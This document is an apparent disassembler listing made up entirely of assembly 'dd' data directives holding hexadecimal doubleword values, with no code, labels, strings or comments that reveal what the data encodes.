		dd 9E50A255h, 6A0567A7h, 0D4B6EB51h, 42ADE2C0h,	55102D50h
		dd 1AD7D71Bh, 0BDAFB589h, 5DF0CDC7h, 3120D6ABh,	0BADB09Fh
		dd 0AB5F6107h, 0BD36BE0Eh, 6B8D77E9h, 0D84FB09Ah, 0B1AEC5D8h
		dd 6485E5A9h, 0D0BC3B2Bh, 0DEBA6F1Eh, 0A36A2EC5h, 0CED82A57h
		dd 0F9F8BD76h, 20BD7DDEh, 681DF3A0h, 0C14BF0C0h, 0DCEC28BCh
		dd 80B755FDh, 21B14DDBh, 0F501C644h, 0F509F7A6h, 337C00DDh
		dd 0CE0F01D8h, 0FC2603B7h, 406FF16Fh, 0B81B2DC3h, 2566187h
		dd 66B883F5h, 1078482Ah, 0FE70FE19h, 3A9C459Eh,	8AF8A04Dh
		dd 0A27163B3h, 0ED8A7C62h, 3B159A71h, 80F46A4Eh, 0C6EA983Eh
		dd 0F83F0AA0h, 70130120h, 10A400E4h, 0C6AAA102h, 2C8040C8h
		dd 1368D8ABh, 5CC8AC88h, 134E5CEh, 0C94AC4E6h, 3EE6AC96h
		dd 61664404h, 4A16444h,	0F86E48F5h, 6E7844E8h, 0E84E7E45h
		dd 88904E86h, 6E8AADEEh, 70ACBEAEh, 6F06E188h, 0F06E4830h
		dd 48F06EAEh, 9A494AF0h, 0A1984A44h, 0B004D6AFh, 3AB02CD8h
		dd 0EB07329h, 9A942B1h,	0BECEE4A7h, 2EC0CF2Eh, 0D00B24ECh
		dd 7E7530ACh, 875C4FA1h
		dd 7650B8EDh, 70EF0EE0h, 0CEE8D187h, 516D2851h,	60D24D20h
		dd 0AEF416E1h, 980D2AD2h, 3A154EFAh, 6556D345h,	79298ED3h
		dd 9A42C146h, 0E56856C7h, 0F213856h, 70D42133h,	813A124Bh
		dd 0B7AD48D4h, 50F24582h, 0E220F26Dh, 232F2CF4h, 347BAD60h
		dd 0A7D27BEFh, 2529C25Ah, 4512EF40h, 0E0E8BB4Fh, 51FE38F4h
		dd 0BB0F40D7h, 88240D6Eh, 0AF5ED88Dh, 0BBCF64F3h, 7C284D98h
		dd 20A65D02h, 0DA65DEF7h, 8C5E25E0h, 4F7E9F20h,	0BDCDB62Bh
		dd 8A2CE5F4h, 0AA08BE8Fh, 60CDC82Dh, 0F8F9860Eh, 883ADD0Bh
		dd 0C04A2200h, 88DDAC06h, 0A0240680h, 62EFACFAh, 0F0FB4FB2h
		dd 4FBAFBADh, 1D1AADFh,	0C4032DFEh, 0A036A4AFh,	0A5B1BB1Bh
		dd 2C036042h, 0AFCE0360h, 0FD437604h, 0D4C431D0h, 0AFE0C411h
		dd 88AFE4A6h, 0E4FECA78h, 0C3BF1E51h, 1EC0A468h, 0D089CE2Dh
		dd 0AFFE3D03h, 0A8EE383Dh, 63E20F4h, 46B0E430h,	3F901501h
		dd 7B01AC74h, 8406C7ACh, 0AB1026AAh, 0CF02CE54h, 0B03C8E06h
		dd 0E6214522h, 428EB03Eh, 0D0490470h, 8F705304h, 79056450h
		dd 305E46AEh, 50106246h, 6A180474h, 217C47F0h, 77070CCh
		dd 62182189h, 6E9925F2h, 49491E49h, 0A04DE4A2h,	108EEA2Eh
		dd 0CE309309h, 0EA4D1096h, 0F0A0EB6Ch, 4B18FEEBh, 4E3086CFh
		dd 0F074849Eh, 30ACCFC4h, 0B264F8D0h, 0A90B84F4h, 0F0BCB372h
		dd 0B430C6D1h, 7A762D20h, 6D1EB461h, 0CD2B8B4h,	52B3D0D3h
		dd 4EFCEFABh, 0F06B5F0Eh, 92564B64h, 0A1441389h, 0FA13879h
		dd 6E57256Bh, 413299ABh, 12657B10h, 1D10CB78h, 6119110Fh
		dd 0D5D11859h, 35302232h, 0CD847D2Fh, 12A7E6D8h, 8512F12Dh
		dd 131C0F0Dh, 0F60F60Fh, 360F7320h, 6F4D1391h, 0D6EF44F4h
		dd 0B6D70F56h, 4F60F405h, 150D8C5Ah, 0A65C4289h, 0D15EF700h
		dd 0DACDAB15h, 0DA2B916Ah, 89FE812Bh, 0DC0F8CF8h, 7EA0ADC4h
		dd 0EF962EF1h, 2202A82h, 6833372h, 0F18D18E3h, 62631830h
		dd 0E0DDCFA2h, 0CA3AC18Dh, 0FB31A4A3h, 0AB3971A8h, 2FBAC211h
		dd 1B13A003h, 373A0027h, 0F1BD1B80h, 1C31BD3Ah,	0D31CB3AFh
		dd 0C3851D31h, 0E1A88087h, 7EFE91DEh, 0B3CD1E60h, 1F31F11Eh
		dd 0CC0C80A5h, 83D20C83h, 0D1FD1FFEh, 0F40D51Fh, 0EE6AB202h
		dd 83F52080h, 20CC720Fh, 78116103h, 68CF216Ch, 6C6AAA11h
		dd 2C8D721Eh, 26D502D0h, 3B22A6Dh, 0C614322Fh, 28F043CAh
		dd 44A4568Fh, 472448F8h, 0ECB0CAF2h, 70475845h,	0E647D252h
		dd 0F44018AAh, 26907B25h, 1C91F06Fh, 872126E7h,	4B272527h
		dd 0AD09127Ah, 24C8734Eh, 9A4CF28h, 4728ACEFh, 3290CF49h
		dd 18F29347h, 9E194CF8h, 84EAD012h, 2A70B24Fh, 0AB488507h
		dd 0D0D4EDD2h, 2B2EE10Ch, 0C2D1E773h, 61770D72h, 2CA52F0Dh
		dd 0D10E32CDh, 0B5E5592h, 0EF2D899h, 3F0FA797h,	52E34BE1h
		dd 2EF2E92Eh, 0F87A4B73h, 67B658D2h, 59823111h,	0B32CF2Ah
		dd 0B33CF493h, 31730F12h, 0F00EB319h, 332331A0h, 3254F54Fh
		dd 1914132Dh, 0C0E93373h, 30F14423h, 3E24E251h,	85C4F673h
		dd 28A27E5Ch, 5135134Ah, 62AB1653h, 16D35716h, 0BB35D16Fh
		dd 0FE04F8ADh, 42DEDC0Ah, 8262E004h, 70A15180h,	2306DD13h
		dd 62401202h, 18DD6312h, 11951923h, 1A232204h, 0A2024C21h
		dd 0B396FBD1h, 0FBD39E01h, 0A156E038h, 40380333h, 3B157557h
		dd 513B557Dh, 0C0500360h, 431D0E0h, 0DF58F3BAh,	0F1DE074Fh
		dd 3CD3C806h, 0D51EF3CDh, 80C8E2D3h, 0A8A0C20Ch, 0E269E0BEh
		dd 0B3EA8AD3h, 6B8A993Eh, 0E3FA6B6h, 60F92110h,	40720C11h
		dd 7B40101Eh, 66C8C82Ch, 0E54C848Dh, 0E0136128h, 6134C8B5h
		dd 0E6503D41h, 3541C140h, 0D2392372h, 426CA523h, 6942C453h
		dd 2CAC46C1h, 7566FF43h, 91439438h, 0D269442Eh,	19507A48h
		dd 9E920492h, 0B4547224h, 0EA41A6AFh, 0B8B0072Ch, 0E4B41AE4h
		dd 0EA96341Ah, 0B473B464h, 146EB14Eh, 4E24DE4Eh, 784A7470h
		dd 0C4ECEC34h, 4830AD29h, 8E4F24F5h, 74874861h,	2AAB304Fh
		dd 0B12AE517h, 4D1D4992h, 49F49349h, 0A2512765h, 0C9FE4A54h
		dd 0A982D250h, 4AF2CF4Ah, 0ED2D6F05h, 0C13842D0h, 13B2E256h
		dd 0A169D4C2h, 0B4CD4C36h, 2FAF1B10h, 922274D3h, 4B92F28Bh
		dd 11B13930h, 334E0B95h, 0ABA312F3h, 13F6CA0Eh,	1D4EEF41h
		dd 62234F53h, 2313234Fh, 280E8F4Ch, 11494FD3h, 50714114h
		dd 0E9C16CDh, 47EA5C35h, 156BC115h, 5351D51Bh, 62AA0993h
		dd 526BD480h, 0FD52A2BBh, 13633609h, 4CDC282h, 83722608h
		dd 48311851h, 30630883h, 231137Eh, 5555552Ch, 55A05B19h
		dd 60FB3561h, 0A01B7475h, 74C01D19h, 5356E01Dh,	957156F7h
		dd 57757375h, 511BB56Fh, 0D7675820h, 76776557h,	14FD5591h
		dd 0A881592Eh, 0FE8FE577h, 9D3CA09Ah, 35A33CF5h, 5A75A6A8h
		dd 368A88A9h, 70035B2Eh, 5BC0D53Eh, 0D06C1019h,	0F400E4C8h
		dd 40940611h, 0DD5DC413h, 0F4155E35h, 14B5EAC8h, 348E7230h
		dd 81661592h, 552397Ch,	0D17D3601h, 7160FE4Ah, 8CB56021h
		dd 17560D60h, 5561160Eh, 0B06E4792h, 71361618h,	9692126Ch
		dd 0D08B64A1h, 0CD6724AFh, 0AE4B9630h, 0F63272A4h, 0EB10944Bh
		dd 0C81A44C0h, 0F81D6464h, 29449B46h, 9AEC6199h, 4CFD82B2h
		dd 0D0582A18h, 9148E184h, 496D0D74h, 16E51F67h,	7D67C97Ch
		dd 36818469h, 0D2897D2Ch, 2E77C522h, 10DED2EDh,	2D4F072Dh
		dd 0DD6974B5h, 369A1332h, 86D0FB4Ch, 0A569D69Bh, 0AB7B6AC9h
		dd 4D36B258h, 2D6BCF4Dh, 0A2631393h, 4EB33D4Eh,	1E0E94FDh
		dd 0F4F76DD3h, 0FF89C21h, 0DD3236D6h, 18AD6EA7h, 7CC7DF6Dh
		dd 556FAB9Ch, 0ED9CD971h, 16134A5Ch, 985E3161h,	997080h
		dd 2BC2B171h, 0F0072080h, 5F6BE05h, 82153353h, 0E62DA2E0h
		dd 172736A2h, 61A2F937h, 1E30A308h, 973554AAh, 0A2938773h
		dd 4373E088h, 6DF574B7h, 3A002574h, 19558025h, 0F7580419h
		dd 92375D91h, 38051759h, 859280FEh, 11BD5835h, 77392F93h
		dd 3D93B77Bh, 8A775959h, 0FEC3A759h, 0E5787784h, 0B1E60A51h
		dd 78E3C178h, 98A8B3D9h, 19613E97h, 0F53E796h, 0A30160F2h
		dd 37A73FB7h, 11F2166Ch, 0D9979978h, 0E410C855h, 9875E15Dh
		dd 24ABC417h, 0F5E6C944h, 0E6414B03h, 0F214E42Ch, 97CC14D5h
		dd 7DB42D23h, 7A9077D5h, 9069067h, 7E74377Eh, 67077E9h
		dd 27194447h, 44D9C271h, 2449CAF7h, 72764A76h, 80492E4Ah
		dd 0B45962Dh, 0F8124D38h, 81E4D563h, 9A73F9E9h,	0CCFAEC64h
		dd 0D0583382h, 0C96966Ah, 0D20D10Dh, 8452C784h,	8276384Dh
		dd 5A0B84B6h, 0A1384651h, 60D23497h, 0D30EF81h,	0F0986586h
		dd 761452D8h, 586D86D8h, 0F987256h, 896AF2EBh, 62102105h
		dd 21E11C10h, 23882592h, 0B88911A2h, 25CF5188h,	5D890F42h
		dd 789AF5BAh, 89C2200Fh, 0A76DFA69h, 91354F38h,	9D512E5Bh
		dd 0FE9BE9C2h, 1425227Eh, 65CED975h, 0F73160BCh, 829E08Ch
		dd 18CE0917h, 16B70E08h, 6E2AE077h, 2BE25F71h, 8218E22Dh
		dd 3D8E62D8h, 1540A135h, 306BFB8Fh, 1732836h, 0F903900Ch
		dd 90AA2C31h, 1AA2DACDh, 1919AD39h, 76192592h, 5803375Dh
		dd 80360380h, 76A05805h, 6792F585h, 0E137717h, 93F93F1Dh
		dd 8289088Dh, 794D94B7h, 9523B71Eh, 0C20C8C5Bh,	0B7919583h
		dd 9633E2FFh, 0BD3E9965h, 37A26B55h, 10B97597h,	2197B97Ah
		dd 0A4146C61h, 5E398798h, 2F98F98Dh, 0A14A4352h, 99614C14h
		dd 5414D99Bh, 7044C9A1h
		dd 2459A416h, 0B1B5D605h, 216B9AD9h, 0CB77DF9Bh, 324E4FCh
		dd 97EB60E5h, 47B06847h, 1AAF5444h, 0CCCECCF6h,	0AFF08B7Fh
		dd 8E4CD804h, 0F818CD70h, 9E4B0E4Ch, 0A19EB9E7h, 54784A9Bh
		dd 9F7BA99Fh, 12ED895Dh, 0D2C2EDC5h, 519A04EEh,	11851A10h
		dd 0B84984BAh, 0BC968217h, 0B5FE10CFh, 274AF85Eh, 6D3F867Ah
		dd 4C9BDD4Ch, 407AB4CDh, 8213BE7Ah, 6E1A4DA4h, 53304F2Bh
		dd 788B6BBAh, 0A5ED72D7h, 9B31B6D1h, 3A6B6DB8h,	8A9A6F8Ah
		dd 75A75899h, 3132D83Ah, 0BBB8B58Bh, 0EFA8027Ch, 0A18BE7h
		dd 70534CDAh, 922ABA91h, 3527A9BAh, 0A00F84F8h,	0E881805Ch
		dd 602BEABh, 60D72372h,	77728612h, 0E61F8F53h, 0AC554FABh
		dd 59197AC7h, 7917ACB5h, 0C6FAD591h, 5973F559h,	8039AD95h
		dd 56FAE005h, 83C83AE9h, 0BC89AF3Ch, 0AFA051C8h, 4006FAFBh
		dd 3B00FE79h, 787B0608h, 0A40AA0A5h, 55A40ABCh,	1FBB15B1h
		dd 63B1C3DBh, 20F59679h, 4006BB21h, 17B288C1h, 0E121B2E1h
		dd 11E41011h, 1C1288D8h, 0ABBB3A4h, 9988E55Eh, 532346DFh
		dd 415843BBh, 0CADB595Fh, 6457B5Eh, 0BB62AD49h,	0B67CFA6Fh
		dd 0B696105Fh, 7257B759h, 7F37EDB7h, 86AF6CCDh,	0B9D3823Bh
		dd 9D84D84Ah, 4D01FEA1h, 179E0936h, 0D4638198h,	2864CBB9h
		dd 53BA1BA3h, 0FD3DBAB6h, 17BBB1BAh, 0C65152ACh, 98416792h
		dd 0BCBBC851h, 53BC5A0Dh, 0B68167DDh, 672177BCh, 254AA521h
		dd 0CD39BD7Ah, 79B0FED3h, 1D730F6h, 0A9A72F31h,	7AE21020h
		dd 860FE590h, 93036B3Dh, 0D91307BFh, 8E237A53h,	0F12FC018h
		dd 0FF31D31h, 0DDDA5A64h, 0FC0B8A16h, 6E7DA96Dh, 57C1731Dh
		dd 23D332Fh, 270F3CBBh,	0D8D938B6h, 22811520h, 0C2D8BE28h
		dd 72F75C2Fh, 0B8CB8CAFh, 8D38D170h, 41AA58DBh,	0F179C45Ch
		dd 0C4EDC5AAh, 2ABF753Fh, 1ABF8F57h, 0A27737ACh, 8631DAC6h
		dd 0FC71C640h, 0E1205BE0h, 5BE12041h, 5E120380h, 0E23E21C8h
		dd 0E8051C85h, 3767C8DAh, 8208209h, 81E3593Ah, 0F77BC948h
		dd 3A994007h, 0EDE33E32h, 0D59C0AAFh, 0CA409BE4h, 0A5CA359Fh
		dd 1CAD78DCh, 95FB140Dh, 0F9965B1Fh, 0C1020F40h, 5D15CFCBh
		dd 8D15D1FEh, 0B0406122h, 0A6C9CC8Ah, 0CDD02F02h, 38E5F987h
		dd 0FB4842D0h, 43DB5199h, 0AB9A3B58h, 0BCFBCF4Ch, 0EA3EA1CFh
		dd 0AA176171h, 2176465Eh, 174170CBh, 7D046FAh, 70890FDh
		dd 48B0719Ch, 959C3EC6h, 619C1961h, 0D1A74182h,	95279801h
		dd 81A7B99Bh, 0D31281D2h, 36EB7469h, 44EB647Dh,	4804EB65h
		dd 0F6EC8959h, 58392A19h, 0D4A513BBh, 0B50C1673h, 5A130D52h
		dd 0D5DBC1A1h, 2FD654A3h, 9A2568C5h, 0F10562F0h, 0A0F10F12h
		dd 5A41D7E9h, 0A4A7B3D8h, 5B3087B7h, 0ED5DA50Dh, 0F3788659h
		dd 6FD9D6C6h, 80F1DA0Dh, 0DB36D9C0h, 0ADF5BDA9h, 7DB38A1Dh
		dd 0D79337DBh, 3ABA5A58h, 0CD90240Fh, 0B11549Dh, 5B34A27Ch
		dd 0CDA715D1h, 0DE3C37DDh, 3FDE7AA1h, 0A05CF89Ch, 0DF3365AAh
		dd 9B8EFDF5h, 0CA1E61CFh, 55283B54h, 0B431DE07h, 7E0FE0C0h
		dd 0FB7E19E1h, 25FBBFB9h, 0A07BFBFEh, 0FEBE2A07h, 0FCBE47C8h
		dd 81E30093h, 3A60828h,	0E4607E88h, 0ABE463A5h,	7CA7E320h
		dd 0FE7FE9FEh, 100ABE53h, 0D3D7CA9Bh, 0D00C9CAh, 1FFBFFCh
		dd 341BCC82h, 39BCEC76h, 0C28F46F8h, 0A8D47A85h, 5026A851h
		dd 28B45A0h, 28589215h,	8F42C6A3h, 48A46A36h, 91A451F1h
		dd 0AA412123h, 25653284h, 55369B4Ah, 6629A4DAh,	413199A8h
		dd 0A199A81h, 3C532894h, 0A534FA7Bh, 5550678Ah,	3ACD58ACh
		dd 51D6948Ah, 39714C5Ah, 0AA350A7Dh, 74B8A9D4h,	756A7AE9h
		dd 56A72D97h, 0EAFD7ABBh, 5D2F97D5h, 58ECB62h, 0B12D3686h
		dd 0AEDB6CB5h, 2E0C4655h, 94CB65B1h, 0ECC67331h, 0D0675E2Eh
		dd 0FBFB3EFAh, 0C1E01A0Ch, 9B42FAD2h, 62B12D26h, 2F10D669h
		dd 0B238FC66h, 2ACDC9E4h, 398C1B37h, 7FCDE6B3h,	0E6631D8Fh
		dd 63E8B439h, 0E9B4AC8h, 30984C8Dh, 0B97EC8D3h,	57FB0D7Eh
		dd 61B4D9AFh, 2B7D9ADDh, 5BFEEEB7h, 0FEFB7AB0h,	6E77BC0Dh
		dd 0ED77B7DBh, 78FB4DA2h, 8CBDE572h, 6BDE7F23h,	0B0E0EF37h
		dd 857F596Ah, 57F6BB3Dh, 0FF7BBAAAh, 0F8947DDEh, 77CBE4F1h
		dd 7D29DF12h, 329C5127h, 5EEF6A65h, 0F3F9A73Dh,	349A4BD3h
		dd 49239249h, 0EA27F9FCh, 2239FCFh, 8148380Ah, 47F81606h
		dd 982E0A82h, 0DC7F1DE0h, 111C4771h, 852141C6h,	0A1084211h
		dd 1C21885h, 0D4758547h, 2287E1C1h, 87C7488Ah, 0C7F89C78h
		dd 0B8307889h, 0B60A8B47h, 821FC7B8h, 8CC82828h, 22D8DE0Ch
		dd 51D22A1Dh, 807088A2h, 658823F8h, 9164490Ch, 0A4591E46h
		dd 0E92E4A17h, 34601805h, 581624A9h, 13C5314Ch,	0E5514050h
		dd 0A1425A13h, 7C4C96A5h, 40984489h, 9966498Ch,	0C4099E66h
		dd 90E43B0Eh, 0B4360D83h, 2F0AE6D9h, 0B82B0ACh,	2779DE76h
		dd 0C0982409h, 0FC2209A7h, 1808A809h, 5683A0Ch,	686A1E86h
		dd 1A2E8A04h, 0F03FEC1h, 1009024h, 4A4E90h, 0A5C0301h
		dd 6E9AA640h, 4416A9AAh, 80340D0h, 6A2A882Dh, 8A9EA60Bh
		dd 0A6AAAA6Ah, 0AD0B42CAh, 0AC43D0B6h, 6B4AC42Ch, 7AC441ADh
		dd 0EEBA106Bh, 0BA12441Ah, 106BE0EAh, 3F0FC3Ah,	8156C6AFh
		dd 2ECAB26Ch, 6414AC9Bh, 0B4464154h, 2D3B4ED2h,	41A2D61Ah
		dd 15054106h, 0C431094h, 42881449h, 11BB8115h, 623D1B24h
		dd 911F4752h, 95BB2EC4h, 2692A244h, 4954B928h, 64E6F64Ch
		dd 9D384D93h, 3D4FCA52h, 5053D2B1h, 54851540h, 4530B3C1h
		dd 50B9548Bh, 0B953F0C5h, 58310C3Ch, 0F12C4F12h, 5956658h
		dd 9695ACCh, 0CA5B56E3h, 32B1F5C8h, 0CBC7D74h, 0C5FD775Eh
		dd 41805F97h, 0D233D8B3h, 34D87604h, 33434F31h,	0BCD18DCDh
		dd 333A3598h, 9164CD66h, 63D94CF5h, 343CBD7Fh, 0E66D9CD1h
		dd 2B496819h, 0C86B1A8Dh, 699AA6A0h, 4C2694BFh,	22F5AF6Ch
		dd 0B7721BFEh, 701D26D1h, 1BD751C3h, 62EDB36Eh,	236473D5h
		dd 0CE729C67h, 6E5CF731h, 9C474DD1h, 0B2D4AF6Fh, 81D9DD5Dh
		dd 7A795E07h, 28DE7793h, 0DEC27DEAh, 0D7BDF37Bh, 0F852709h
		dd 8AE2600Eh, 80A03803h, 0E0781C8Ch, 7837928Dh,	5E1986A1h
		dd 1C86E138h, 90641876h, 0E2D87E24h, 0B8BE3089h, 0C630E8E0h
		dd 328DA328h, 0EA07FE9Eh, 7A78C7ADh, 88C7B8Eh, 0D6438FA4h
		dd 48EE6481h, 92A4C1B2h, 86093E4Eh, 79625394h, 1A569765h
		dd 4C97C4FFh, 10048984h, 7D09A3CDh, 0B9AE6A99h,	0E66E9BC3h
		dd 2F0BA720h, 9E2780BCh, 67E9F67Ah, 20627FA0h, 1E889FE8h
		dd 8EA328CAh, 0FB693A46h, 3A5C09h, 0CA73F100h, 0AE9FA7A9h
		dd 0A60D2ABAh, 0FE27D0D2h, 2D10AA6h, 80500021h,	1A02AB5h
		dd 24AC6569h, 0C657AB04h, 1EB3163Ah, 48292C88h,	92D00A50h
		dd 40CC1996h, 0AB5A0CADh, 8832DA20h, 0FEB5BC41h, 64497090h
		dd 97187A11h, 8F5D447h,	852B9974h, 0A448126h, 4A2ED853h
		dd 0F013648Ch, 0EC4B579Ah, 0D49809A5h, 0C2FA134Bh, 0C1404CC9h
		dd 0CBF97EAFh, 4A2B0014h, 8AC28851h, 15E2CCECh,	2E059B06h
		dd 8830C29Ah, 5229CC29h, 0ACC45884h, 645D0B98h,	0C5C6291h
		dd 0A630590Bh, 0CC758C96h, 0D9097063h, 9782ECC8h, 65CCA8CCh
		dd 0CCCC997Dh, 9C47066Ah, 3C676625h, 7663E3A3h,	0C84786h
		dd 6B2E322Dh, 78FD1F59h, 67CCCB4h, 5A548434h, 9A434A5Eh
		dd 34C68DA7h, 0D58D51ABh, 581CF360h, 0C2376DB4h, 7D250E91h
		dd 0A45B9D33h, 10BD6D8Dh
		dd 0A3547206h, 738E39Ah, 8E39CD3Ah, 0C9A17726h,	3AC755AFh
		dd 0DD0EC4ACh, 0BC3776ECh, 7A6F6779h, 3E28CF4Bh, 165C1E91h
		dd 0A38213EEh, 33DA7D4Fh, 67E1C51Fh, 9C69FD71h,	88C10623h
		dd 40D32664h, 861C9393h, 67A12426h, 1F430E62h, 68E79CDAh
		dd 15FE0757h, 9456825h,	60E91D1Ah, 891ABA67h, 8A2E9C73h
		dd 0F1399Dh, 93A91E23h,	11123D76h, 6C9DE1Bh, 494EE5DDh
		dd 0EFDDF3BCh, 2F25249Eh, 5C0A6950h, 94F21E42h,	35E63CB7h
		dd 43D179EFh, 0C7AAF513h, 40E1EC26h, 9EEA734Eh,	0A7B4F49Dh
		dd 7CAF893Eh, 6142A82h,	473E97CEh, 0EE023469h, 0DE00D49Bh
		dd 0D5FA2987h, 29F0B8Fh, 97F4FE95h, 4110222Ah, 0C2252B08h
		dd 52FA5C10h, 0A674CA01h, 0F69AD34h, 9C537084h,	0BB57101Eh
		dd 7502960Ah, 42A00555h, 0AC138210h, 45921982h,	70660C06h
		dd 83B064A9h, 0ADC20EB6h, 2170816Dh, 45089920h,	8EC2722Ch
		dd 2A5D30B4h, 0DA48A174h, 861A0915h, 2C382615h,	0C14226ABh
		dd 64DD7C43h, 57E0A75Fh, 44627D5Bh, 60851982h, 134EC147h
		dd 2C4552A9h, 66AF75EAh, 0BB16D8A1h, 7CB2B148h,	40C518B1h
		dd 42D918CBh, 519E3397h, 0C6632164h, 998B1C33h,	8616FE35h
		dd 63799265h, 47466D1Ch, 8ED6699Dh, 67ACDB39h, 0C4B3E8F7h
		dd 81684D14h, 4E5E4CCCh, 8ED3DA8Bh, 71AB3466h, 6AF23DAh
		dd 4D70D71Dh, 0A4B49537h, 0BA39F25h, 1842E8DAh,	2824EDB9h
		dd 5236B943h, 0A2398D8Eh, 8F2B0E94h, 72584AFBh,	0A1E19647h
		dd 0F3CF73A5h, 42704FB7h, 0F49EDBAh, 993DE7Dh, 9887E661h
		dd 329C69FAh, 66B91995h, 1599E82Eh, 0CD79268Ah,	943AA10Bh
		dd 5222BD57h, 0E9B88AD1h, 0EA117BAh, 6714E376h,	235BEA82h
		dd 9CD7EA73h, 35D1ECEAh, 794F073Dh, 4B9E0EE6h, 0BC93E7BAh
		dd 61250580h, 0ECFE4B29h, 2A034012h, 0A1182426h, 0DE9D06A0h
		dd 3806CF5h, 7B8F681Ch,	993CD0Eh, 0F2D13A22h, 1702AA11h
		dd 1D465445h, 428EA8B5h, 9BF2524Ah, 0E535489Fh,	749A9506h
		dd 0A952A0C6h, 0D2AC6F8Dh, 0A554BC21h, 4D695C02h, 9DD36C7Fh
		dd 4957815Eh, 87915640h, 460A648Ah, 4C82EBFEh, 3352AA5Eh
		dd 0BD6E2DB8h, 6552CA21h, 84A4508h, 822C8F12h, 0A1792223h
		dd 92824F57h, 0AB82572Fh, 4B6B1C33h, 7CD6586Eh,	6BCD44DDh
		dd 0DA29452Eh, 12B7E6EAh, 30B388D1h, 8899134Ah,	6C1E2667h
		dd 987B0ACFh, 0B178B02Fh, 0D02C40B2h, 0A18B2162h, 0C0685D0Bh
		dd 0C217D172h, 0D6158B8h, 8AC5587Bh, 0C976B16Ch, 28D563CBh
		dd 0ECFAD198h, 8C446D30h, 4721A5A7h, 19B684C8h,	0CF6CF98Ah
		dd 0D15A1D48h, 0A59011FEh, 5F6A4C05h, 8AD5979Dh, 95AFB5C6h
		dd 0F6B3292Dh, 76D9AFB6h, 0CAF36ED7h, 0C2B766Ch, 0B7F6F863h
		dd 271B58C2h, 4A49CB87h, 0CA956DC2h, 55730ED5h,	0F4F35CE1h
		dd 39EA6FCDh, 93DCE15Ch, 276EB09h, 0EEDA00BBh, 0CC6BB930h
		dd 990E3EEFh, 82AF16E3h, 8396BCEh, 19DD21E1h, 461C50F2h
		dd 0B1D2CDC4h, 0C20C4648h, 6DEC8DAFh, 73826ECEh, 11E3A1BEh
		dd 0A209AA1Eh, 0FEE87276h, 0B0121C9Dh, 865C0891h, 0E1493926h
		dd 8327DBBDh, 0E484C9FFh, 63A04F29h, 0CD85309Ah, 0E2843D34h
		dd 0DA764DA0h, 5F439Eh,	0A9F1F051h, 54262103h, 0BEA7D189h
		dd 0C554728Dh, 0CB9F9520h, 37299C5Fh, 34C71490h, 0B41139AFh
		dd 0F71B63A0h, 0BE3FC818h, 0E085CF82h, 20F42BF3h, 82AF44E8h
		dd 0F48C91CFh, 5AF05EA3h, 532A4C16h, 82E54A99h,	0BCAA1E8h
		dd 415503E1h, 2C8DE5B2h, 0F42FCBA2h, 0DCC39832h, 0E48894F5h
		dd 4DF64CCh, 0D6A26B5Ah, 1424E61Eh, 5B737E71h, 3B142EDFh
		dd 7860B137h, 1654D82Eh, 0E7416806h, 0EE84D042h, 0D15A27Bh
		dd 55B46F8h, 2C20BE94h,	96E8C45Bh, 2EBE2AC4h, 0A5865C66h
		dd 97984D33h, 94313AA9h, 325F74DDh, 58C96A9Bh, 0D989D506h
		dd 4F39AA3Ch, 1AB4C9DAh, 0E41DAA33h, 34FD65ABh,	0D6A6B5A7h
		dd 0AD8E46B8h, 5CEB96B7h, 0C8B666EFh, 81B0CAE9h, 0E7626C4Dh
		dd 63FEB896h, 96DB252Bh, 545A9C1Dh, 0FECFB947h,	969B44Eh
		dd 32F8F3DDh, 2606D63Eh, 0EDE3F9B6h, 4027EAEDh,	0B8AEF5DDh
		dd 0C9DE1BBFh, 7CFB61F1h, 0D6E5AF28h, 0B83BCD2Dh, 507544F7h
		dd 4471BC50h, 1BD91BEFh, 0EFCDF7BFh, 3B04661Eh,	0E8EC77Ah
		dd 0F9274230h, 6B22147Fh, 2FF5FEAh, 1690F00Eh, 0A25070BEh
		dd 25970E24h, 0F25E70Fh, 46100486h, 71626850h, 926A267h
		dd 0E03826F5h, 27C3DD71h, 0DB026276h, 427C02F3h, 72672502h
		dd 8A0153E7h, 0B82151A2h, 3F062A3Eh, 3000472Eh,	0C06D0007h
		dd 73673305h, 2B82B637h, 283105A8h, 82F83183h, 3774405Ch
		dd 0A8398388h, 74874783h, 4C546546h, 22D70666h,	2D62D884h
		dd 768462D9h, 175154B0h, 2DE75365h, 5875707Eh, 912065B6h
		dd 2ED08B42h, 2A08F75Dh, 12F012A1h, 12885709h, 2D12F439h
		dd 97661331h, 0A513676h, 6C0A543Dh, 0E66E56E7h,	0A7FE76h
		dd 7721DD14h, 4C148773h, 0D3060B54h, 77E67E67h,	80878877h
		dd 0C16B7807h, 5845BF5Bh, 6B5870C5h, 269478B1h,	1815A732h
		dd 6D191698h, 0A1865A14h, 0D70D759h, 9988F0D6h,	0A19518A7h
		dd 79F6A479h, 7C6AB7A2h, 0A19D7A34h, 0C719D34h,	890CF19Dh
		dd 0A6B348A4h, 3567AB7Ah, 0B87AD6B7h, 0B1D036E1h, 3583628Ah
		dd 0C40BF6C0h, 57B96C36h, 36B49B6Ch, 5A4A67BBh,	81B93713h
		dd 3764AD5Ch, 0C55CB0AAh, 0B6D17C77h, 3876D97Ch, 0DC5D57CBh
		dd 76E138A5h, 4CC5E07Dh, 877DB4CDh, 67DE0870h, 6EA20F5Eh
		dd 0E68D87E3h, 0A2353A96h, 4E37EB7Eh, 0A38DF7EDh, 15FB0823h
		dd 4D52303Ah, 3E4D739Eh, 0F7FD4D62h, 8002444Eh,	4B6073C0h
		dd 260D8042h, 26280871h, 1880D505h, 826C26B7h, 61D61A61h
		dd 0E0816815h, 451327B3h, 81E6233Eh, 2228D00Fh,	53EE28F8h
		dd 3F152029h, 3273062Eh, 0F63682C7h, 504482FEh,	83383583h
		dd 5C05A830h, 78358320h, 83B05A83h, 57071837h, 7450660h
		dd 2C984084h, 4B74B927h, 0E41B8437h, 84A54D54h,	0DB84A2D2h
		dd 0A84E07E2h, 75793507h, 24120758h, 993C75D1h,	12985842h
		dd 3012A2F6h, 843E7651h, 66E2F913h, 6E86A76Ch, 0F4420A65h
		dd 0A71DD76h, 7067A86Eh, 90B57738h, 68330E36h, 7895A878h
		dd 0A1631AA8h, 5BC15E87h, 7C5BB5BBh, 0E87F1AA8h, 88316D31h
		dd 2417978Bh, 859058E3h, 88959319h, 9269B795h, 69743418h
		dd 32E89297h, 9D89B6ABh, 47A84881h, 8A91B36Bh, 0AA6B65B1h
		dd 45C28AD8h, 15E0BF1Bh, 0A08B48B1h, 0B5BF19E4h, 5BD3695Bh
		dd 0C65B36C7h, 0D3735C85h, 6CF8C16Ch, 0C36D01E2h, 209F1E58h
